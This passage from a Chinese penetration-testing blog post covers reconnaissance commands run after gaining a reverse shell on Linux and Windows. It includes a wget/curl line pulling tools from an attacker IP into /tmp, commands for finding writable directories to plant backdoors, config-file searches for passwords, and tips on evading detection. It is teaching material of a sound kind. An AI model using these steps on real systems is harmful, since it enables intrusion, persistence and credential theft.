\u4fe1\u606f\u91cf\u5927\uff0c\u653b\u51fb\u8005\u53ea\u9700\u89e3\u6790\u6587\u672c\u5c31\u80fd\u4e86\u89e3\u7cfb\u7edf\u72b6\u6001\u3002<\/p>\n\n\n\n
Mermaid \u56fe\u8868\uff1a\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u5728\u653b\u51fb\u6d41\u7a0b\u4e2d\u7684\u4f4d\u7f6e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u5f20\u6d41\u7a0b\u56fe\u5c55\u793a\u4e86\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u5728\u5b8c\u6574\u653b\u51fb\u94fe\u4e2d\u7684\u6838\u5fc3\u4f4d\u7f6e\u3002\u4ece\u5de6\u5230\u53f3\uff0c\u201c\u521d\u59cb\u8bbf\u95ee\u201d\u6210\u529f\u540e\u5efa\u7acb\u201c\u53cd\u5f39Shell\u201d\uff0c\u968f\u540e\u8fdb\u5165\u201c\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u201d\u9636\u6bb5\uff0c\u5728\u8fd9\u91cc\u653b\u51fb\u8005\u6267\u884c\u5404\u79cd\u7f51\u7edc\u3001\u6587\u4ef6\u548c\u7cfb\u7edf\u64cd\u4f5c\u547d\u4ee4\uff0c\u6536\u96c6\u4fe1\u606f\u3002\u6536\u96c6\u5230\u7684\u4fe1\u606f\u4f1a\u5f15\u5bfc\u4e0b\u4e00\u6b65\u51b3\u7b56\uff1a\u5982\u679c\u53d1\u73b0\u53ef\u63d0\u6743\u7684\u6f0f\u6d1e\uff0c\u5219\u8f6c\u5411\u201c\u6743\u9650\u63d0\u5347\u201d\uff1b\u5982\u679c\u627e\u5230\u5176\u4ed6\u53ef\u8fbe\u673a\u5668\uff0c\u5219\u8fdb\u884c\u201c\u6a2a\u5411\u79fb\u52a8\u201d\uff1b\u5982\u679c\u9700\u8981\u957f\u671f\u9a7b\u7559\uff0c\u5219\u690d\u5165\u540e\u95e8\u201c\u6743\u9650\u7ef4\u6301\u201d\u3002\u6ce8\u610f\u4ece\u201c\u6743\u9650\u7ef4\u6301\u201d\u53ef\u4ee5\u56de\u5230\u53cd\u5f39Shell\uff0c\u8868\u793a\u4fdd\u6301\u8bbf\u95ee\u5faa\u73af\u3002\u6574\u4e2a\u8fc7\u7a0b\u73af\u73af\u76f8\u6263\uff0c\u800c\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u662f\u8fde\u63a5\u521d\u59cb\u5165\u53e3\u4e0e\u540e\u7eed\u6df1\u5ea6\u653b\u51fb\u7684\u6865\u6881\u3002<\/p>\n\n\n\n
\u5b9e\u9645\u4e2d\u6700\u5e38\u7528\u7684\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u6839\u636e\u64cd\u4f5c\u7cfb\u7edf\u800c\u5f02\uff0c\u4f46\u5927\u4f53\u53ef\u5206\u4e3a\u7f51\u7edc\u7c7b\u3001\u6587\u4ef6\u7c7b\u548c\u7cfb\u7edf\u64cd\u4f5c\u7c7b\u3002Linux\u73af\u5883\u4e0b\uff0c\u7f51\u7edc\u5e38\u7528\u547d\u4ee4\u5305\u62ecip<\/code>\uff08\u6216ifconfig<\/code>\uff09\u3001ss<\/code>\uff08\u6216netstat<\/code>\uff09\u3001ping<\/code>\u3001traceroute<\/code>\u3001nslookup<\/code>\u7b49\uff1b\u6587\u4ef6\u64cd\u4f5c\u6709ls<\/code>\u3001cd<\/code>\u3001cat<\/code>\u3001find<\/code>\u3001grep<\/code>\u3001chmod<\/code>\u3001tar<\/code>\u7b49\uff1b\u7cfb\u7edf\u64cd\u4f5c\u6db5\u76d6ps<\/code>\u3001whoami<\/code>\u3001id<\/code>\u3001uname<\/code>\u3001sudo -l<\/code>\u3001crontab<\/code>\u3001useradd<\/code>\u7b49\u3002Windows\u4e0b\uff0c\u7f51\u7edc\u547d\u4ee4\u5e38\u7528ipconfig<\/code>\u3001netstat<\/code>\u3001ping<\/code>\u3001nslookup<\/code>\uff1b\u6587\u4ef6\u64cd\u4f5c\u7528dir<\/code>\u3001type<\/code>\u3001copy<\/code>\u3001icacls<\/code>\u3001findstr<\/code>\uff1b\u7cfb\u7edf\u64cd\u4f5c\u5219\u7528tasklist<\/code>\u3001systeminfo<\/code>\u3001whoami<\/code>\u3001net user<\/code>\u3001wmic<\/code>\uff08\u9010\u6e10\u88abPowerShell\u66ff\u4ee3\uff09\u3002\u4e24\u8005\u7684\u5bf9\u6bd4\u5728\u4e8e\uff1aLinux\u547d\u4ee4\u66f4\u7b80\u6d01\u4e14\u8f93\u51fa\u6613\u4e8e\u89e3\u6790\uff0cWindows\u547d\u4ee4\u5f80\u5f80\u9700\u8981\u914d\u5408findstr<\/code>\u8fc7\u6ee4\uff0c\u800cPowerShell\u5219\u63d0\u4f9b\u4e86\u5bf9\u8c61\u5316\u8f93\u51fa\uff0c\u4fe1\u606f\u66f4\u4e30\u5bcc\u4f46\u547d\u4ee4\u5197\u957f\u3002<\/p>\n\n\n\n
\u5728\u5178\u578b\u6e17\u900f\u573a\u666f\u4e2d\uff0c\u62ff\u5230\u53cd\u5f39Shell\u540e\u7b2c\u4e00\u4ef6\u4e8b\u901a\u5e38\u662f\u5feb\u901f\u6536\u96c6\u7cfb\u7edf\u6982\u8981\u3002\u5047\u8bbe\u653b\u51fb\u8005\u5df2\u7ecf\u901a\u8fc7\u53cd\u5f39Shell\u8fde\u4e0a\u4e00\u53f0Linux\u670d\u52a1\u5668\uff0c\u4e0b\u9762\u662f\u4e00\u7ec4\u5178\u578b\u7684\u4fa6\u5bdf\u547d\u4ee4\u53ca\u5176\u9010\u884c\u89e3\u91ca\uff1a<\/p>\n\n\n\n
# \u67e5\u770b\u5f53\u524d\u7528\u6237\u548c\u6743\u9650\nid\n# \u8f93\u51fa\u793a\u4f8b\uff1auid=1000(web) gid=1000(web) groups=1000(web),4(adm)\n# \u89e3\u91ca\uff1aid\u547d\u4ee4\u663e\u793a\u5f53\u524d\u7528\u6237UID\u3001GID\u53ca\u6240\u5c5e\u7ec4\uff0c\u5982\u679c\u6709adm\u7ec4\u53ef\u80fd\u6697\u793a\u53ef\u4ee5\u67e5\u770b\u65e5\u5fd7\u6587\u4ef6\u3002\n\n# \u67e5\u770b\u7f51\u7edc\u63a5\u53e3IP\nip a\n# \u6216 ifconfig\uff0c\u5217\u51fa\u6240\u6709\u7f51\u7edc\u63a5\u53e3\uff0c\u5224\u65ad\u662f\u5426\u6709\u591a\u7f51\u5361\uff08\u5185\u7f51\u73af\u5883\uff09\u3002\n\n# \u67e5\u770b\u6d3b\u8dc3\u7f51\u7edc\u8fde\u63a5\u548c\u76d1\u542c\u7aef\u53e3\nss -tulnp\n# \u53c2\u6570\uff1a-t TCP, -u UDP, -l \u76d1\u542c\u72b6\u6001, -n \u6570\u5b57\u663e\u793a\u7aef\u53e3, -p \u663e\u793a\u8fdb\u7a0b\u3002\u53ef\u4ee5\u627e\u51fa\u54ea\u4e9b\u670d\u52a1\u5728\u76d1\u542c\uff0c\u662f\u5426\u6709\u6570\u636e\u5e93\u3001web\u670d\u52a1\u7b49\u3002\n\n# \u67e5\u770b\u8fdb\u7a0b\u5217\u8868\nps auxf\n# \u53c2\u6570\uff1aa \u663e\u793a\u6240\u6709\u7ec8\u7aef\u8fdb\u7a0b\uff0cu \u663e\u793a\u7528\u6237\uff0cx \u663e\u793a\u65e0\u7ec8\u7aef\u8fdb\u7a0b\uff0cf \u4ee5\u6811\u5f62\u5c55\u793a\u7236\u5b50\u5173\u7cfb\u3002\u53ef\u53d1\u73b0\u5f02\u5e38\u8fdb\u7a0b\u6216\u9ad8\u6743\u9650\u8fdb\u7a0b\u3002\n\n# \u67e5\u770b\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u548c\u5185\u6838\nuname -a\n# \u5185\u6838\u7248\u672c\uff0c\u53ef\u7528\u4e8e\u67e5\u627e\u5bf9\u5e94\u63d0\u6743\u6f0f\u6d1e\u3002\n\n# \u67e5\u770b\u53ef\u5199\u654f\u611f\u76ee\u5f55\nfind \/ -writable -type d 2>\/dev\/null | head -20\n# \u5728\u6839\u76ee\u5f55\u67e5\u627e\u5168\u5c40\u53ef\u5199\u76ee\u5f55\uff0c\u9650\u5236\u8f93\u51fa\u524d20\u884c\uff0c\u9519\u8bef\u4e22\u5f03\u3002\u53ef\u5199\u76ee\u5f55\u5e38\u88ab\u7528\u4e8e\u653e\u7f6e\u540e\u95e8\u6216\u63d0\u6743\u811a\u672c\u3002\n\n# \u67e5\u770bsudo\u6743\u9650\nsudo -l\n# \u5982\u679c\u5f53\u524d\u7528\u6237\u6709sudo\u6743\u9650\uff0c\u4f1a\u5217\u51fa\u5141\u8bb8\u4ee5root\u8eab\u4efd\u6267\u884c\u7684\u547d\u4ee4\uff0c\u8fd9\u662f\u63d0\u6743\u7684\u5feb\u901f\u901a\u9053\u3002\n\n# \u68c0\u67e5\u5b9a\u65f6\u4efb\u52a1\ncat \/etc\/crontab\n# \u67e5\u770b\u7cfb\u7edf\u5b9a\u65f6\u4efb\u52a1\uff0c\u53ef\u80fd\u53d1\u73b0\u4ee5\u9ad8\u6743\u9650\u8fd0\u884c\u7684\u811a\u672c\uff0c\u53ef\u66ff\u6362\u6216\u5229\u7528\u3002\n\n# \u67e5\u770bhome\u76ee\u5f55\u4e0b\u7684\u7528\u6237\nls \/home\/\n# \u5217\u51fa\u7cfb\u7edf\u4e0a\u6240\u6709\u666e\u901a\u7528\u6237\uff0c\u4e3a\u6a2a\u5411\u767b\u5f55\u505a\u51c6\u5907\u3002\n\n# \u4e0b\u8f7d\u6587\u4ef6\uff08\u5982\u679c\u9700\u8981\u4ece\u653b\u51fb\u8005\u673a\u5668\u62c9\u53d6\u5de5\u5177\uff09\nwget http:\/\/\u653b\u51fb\u8005IP\/\u5de5\u5177 -O \/tmp\/\u5de5\u5177\n# \u6216 curl -o \/tmp\/\u5de5\u5177 http:\/\/\u653b\u51fb\u8005IP\/\u5de5\u5177\n# \u524d\u63d0\u662f\u76ee\u6807\u5141\u8bb8\u51fa\u7ad9HTTP\uff0c\u4e14\/tmp\u53ef\u5199\u3002<\/code><\/pre>\n\n\n\n
\u5982\u679c\u76ee\u6807\u73af\u5883\u662fWindows\uff0c\u5bf9\u5e94\u547d\u4ee4\u53ef\u80fd\u5982\u4e0b\uff08\u5728cmd\u4e2d\uff09\uff1a<\/p>\n\n\n\n
# \u67e5\u770b\u5f53\u524d\u7528\u6237\u53ca\u6743\u9650\nwhoami \/all\n# \u663e\u793a\u7528\u6237SID\u3001\u7ec4\u4fe1\u606f\u3001\u7279\u6743\uff0c\u7279\u522b\u5173\u6ce8SeImpersonatePrivilege\u7b49\u63d0\u6743\u76f8\u5173\u7279\u6743\u3002\n\n# \u67e5\u770b\u7f51\u7edc\u914d\u7f6e\nipconfig \/all\n# \u663e\u793aIP\u3001DNS\u3001MAC\uff0c\u5224\u65ad\u662f\u5426\u5728\u5185\u7f51\u3002\n\n# \u67e5\u770b\u7f51\u7edc\u8fde\u63a5\nnetstat -ano\n# \u663e\u793a\u6240\u6709\u8fde\u63a5\u548c\u76d1\u542c\u7aef\u53e3\uff0c-a all, -n \u6570\u5b57, -o \u663e\u793a\u8fdb\u7a0bPID\u3002\n\n# \u67e5\u770b\u8fdb\u7a0b\u5217\u8868\ntasklist \/v\n# \u8be6\u7ec6\u8fdb\u7a0b\u4fe1\u606f\uff0c\/v\u663e\u793a\u66f4\u591a\u7ec6\u8282\uff0c\u5982\u7528\u6237\u540d\u3002\n\n# \u67e5\u770b\u7cfb\u7edf\u4fe1\u606f\nsysteminfo\n# \u663e\u793a\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u3001\u8865\u4e01\u3001\u786c\u4ef6\u4fe1\u606f\uff0c\u53ef\u7528\u4e8e\u67e5\u627e\u672a\u4fee\u8865\u7684\u6f0f\u6d1e\u3002\n\n# \u67e5\u770b\u6240\u6709\u7528\u6237\nnet user\n# \u5217\u51fa\u7cfb\u7edf\u7528\u6237\uff0c\u518d\u7ed3\u5408 net user <\u7528\u6237\u540d> \u67e5\u770b\u8be6\u60c5\u3002\n\n# \u67e5\u627e\u654f\u611f\u6587\u4ef6\ndir \/s C:\\*.config\n# \u4eceC\u76d8\u9012\u5f52\u641c\u7d22\u6240\u6709.config\u914d\u7f6e\u6587\u4ef6\uff0c\u53ef\u80fd\u5305\u542b\u6570\u636e\u5e93\u5bc6\u7801\u7b49\u3002\n\n# \u67e5\u770b\u53ef\u5199\u76ee\u5f55\npowershell -Command \"Get-ChildItem C:\\ -Directory -Recurse -ErrorAction SilentlyContinue | Where-Object { (Get-Acl $_.FullName).Access | Where-Object { $_.IdentityReference -match 'BUILTIN\\\\Users' -and $_.FileSystemRights -match 'Write' } } | Select-Object FullName\"\n# \u8fd9\u6761PowerShell\u547d\u4ee4\u627e\u51faUsers\u7ec4\u53ef\u5199\u7684\u76ee\u5f55\uff0c\u7528\u4e8e\u653e\u7f6e\u540e\u95e8\u3002<\/code><\/pre>\n\n\n\n
\u6700\u5bb9\u6613\u8e29\u7684\u5751\u5305\u62ec\uff1a\u67d0\u4e9b\u547d\u4ee4\u5728\u6700\u5c0f\u5316\u5b89\u88c5\u7cfb\u7edf\u4e2d\u4e0d\u5b58\u5728\uff08\u5982wget<\/code>\u3001ss<\/code>\uff09\uff0c\u9700\u8981\u6539\u7528\u66ff\u4ee3\u54c1\uff1b\u6743\u9650\u4e0d\u8db3\u5bfc\u81f4\u547d\u4ee4\u6267\u884c\u5931\u8d25\uff08\u5982\u8bbf\u95ee\/proc\u76ee\u5f55\u53d7\u9650\uff09\uff1b\u8f93\u51fa\u4fe1\u606f\u8fc7\u591a\u5bfc\u81f4\u7ec8\u7aef\u5361\u6b7b\uff08\u53ef\u7528less<\/code>\u6216head<\/code>\u9650\u5236\uff09\uff1b\u547d\u4ee4\u6267\u884c\u88ab\u7cfb\u7edf\u65e5\u5fd7\u8bb0\u5f55\uff08\u5982bash_history\uff09\uff0c\u7559\u4e0b\u75d5\u8ff9\uff1b\u8bef\u64cd\u4f5c\u5220\u9664\u5173\u952e\u6587\u4ef6\u5bfc\u81f4\u7cfb\u7edf\u5d29\u6e83\u3002\u6b63\u786e\u505a\u6cd5\u662f\uff1a\u5148\u6267\u884c\u7b80\u5355\u547d\u4ee4\u6d4b\u8bd5\u73af\u5883\uff0c\u4f7f\u7528\u7ba1\u9053\u548c\u91cd\u5b9a\u5411\u63a7\u5236\u8f93\u51fa\uff0c\u5c3d\u91cf\u907f\u514d\u5199\u5165\u78c1\u76d8\uff08\u9664\u975e\u5fc5\u8981\uff09\uff0c\u64cd\u4f5c\u524d\u786e\u8ba4\u6587\u4ef6\u7528\u9014\u3002\u9a8c\u8bc1\u65b9\u6cd5\uff1a\u89c2\u5bdf\u547d\u4ee4\u8fd4\u56de\u7ed3\u679c\u662f\u5426\u5408\u7406\uff0c\u6bd4\u5982id<\/code>\u663e\u793a\u7528\u6237\u786e\u5b9e\u5b58\u5728\uff0cping<\/code>\u901a\u5916\u7f51\u8bf4\u660e\u7f51\u7edc\u8fde\u901a\u3002\u4e0b\u4e00\u6b65\u64cd\u4f5c\u5efa\u8bae\uff1a\u6839\u636e\u6536\u96c6\u7684\u4fe1\u606f\uff0c\u6574\u7406\u51fa\u63d0\u6743\u5019\u9009\u70b9\u6216\u6a2a\u5411\u79fb\u52a8\u76ee\u6807\uff0c\u7136\u540e\u8f6c\u5411\u76f8\u5e94\u6a21\u5757\uff0c\u6bd4\u5982\u53d1\u73b0\u5185\u6838\u7248\u672c\u6709\u6f0f\u6d1e\uff0c\u5c31\u53bb\u641c\u7d22\u5bf9\u5e94exp\u5e76\u51c6\u5907\u4e0a\u4f20\u6267\u884c\u3002<\/p>\n\n\n\n
\u51b3\u7b56\u6307\u5357\uff1a\u5728\u83b7\u53d6\u521d\u59cbshell\u540e\uff0c\u5fc5\u987b\u6267\u884c\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u6765\u201c\u6478\u6e05\u5730\u5f62\u201d\uff0c\u5426\u5219\u540e\u7eed\u653b\u51fb\u5982\u540c\u76f2\u4eba\u6478\u8c61\u3002\u4f46\u5177\u4f53\u7528\u54ea\u4e9b\u547d\u4ee4\u53d6\u51b3\u4e8e\u573a\u666f\uff1a\u5982\u679c\u76ee\u6807\u662f\u5feb\u901f\u62ffflag\uff0c\u53ef\u80fd\u53ea\u9700ls<\/code>\u548ccat<\/code>\uff1b\u5982\u679c\u8981\u957f\u671f\u6e17\u900f\uff0c\u5219\u9700\u8981\u5168\u9762\u4fe1\u606f\u6536\u96c6\u3002\u66ff\u4ee3\u65b9\u6848\u5305\u62ec\u4e0a\u4f20\u81ea\u5b9a\u4e49\u7684\u4fa6\u5bdf\u811a\u672c\uff08\u5982LinEnum\u3001WinPEAS\uff09\u6216\u4f7f\u7528\u5185\u5b58\u4e2d\u7684PowerShell\u811a\u672c\uff0c\u5b83\u4eec\u80fd\u81ea\u52a8\u5316\u6536\u96c6\u5e76\u5206\u6790\uff0c\u4f46\u4f53\u79ef\u8f83\u5927\u4e14\u53ef\u80fd\u88ab\u6740\u6bd2\u8f6f\u4ef6\u62e6\u622a\u3002\u81ea\u5e26\u547d\u4ee4\u867d\u96f6\u6563\uff0c\u4f46\u66f4\u9690\u853d\uff0c\u9002\u5408\u89c4\u907f\u68c0\u6d4b\u3002\u5728\u5b9e\u6218\u4e2d\uff0c\u5f80\u5f80\u5148\u7528\u624b\u52a8\u547d\u4ee4\u5feb\u901f\u63a2\u67e5\uff0c\u518d\u6839\u636e\u60c5\u51b5\u51b3\u5b9a\u662f\u5426\u4e0a\u4f20\u81ea\u52a8\u5316\u5de5\u5177\u3002\u603b\u4e4b\uff0c\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u662f\u6bcf\u4e00\u4e2a\u5165\u95e8\u8005\u5fc5\u987b\u719f\u7ec3\u638c\u63e1\u7684\u57fa\u672c\u529f\uff0c\u5b83\u4eec\u4e0d\u4ec5\u7528\u4e8e\u4fe1\u606f\u6536\u96c6\uff0c\u8fd8\u80fd\u5728\u5173\u952e\u65f6\u523b\u6267\u884c\u6587\u4ef6\u4f20\u8f93\u3001\u6743\u9650\u7ef4\u6301\u7b49\u64cd\u4f5c\uff0c\u662f\u6e17\u900f\u6d4b\u8bd5\u5de5\u5177\u7bb1\u4e2d\u7684\u4e07\u91d1\u6cb9\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u53cd\u5f39Shell-\u9879\u76ee&\u547d\u4ee4&\u8bed\u8a00\u7b49 \u60f3\u8c61\u4e00\u4e0b\uff0c\u4f60\u88ab\u56f0\u5728\u4e00\u4e2a\u53ea\u80fd\u5411\u5916\u62e8\u6253\u7535\u8bdd\u7684\u623f\u95f4\u91cc\uff0c\u65e0\u6cd5\u63a5\u542c\u4efb […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[54],"tags":[],"class_list":["post-1664","post","type-post","status-publish","format-standard","hentry","category-text"],"_links":{"self":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts\/1664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=1664"}],"version-history":[{"count":2,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts\/1664\/revisions"}],"predecessor-version":[{"id":1669,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts\/1664\/revisions\/1669"}],"wp:attachment":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=1664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=1664"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=1664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}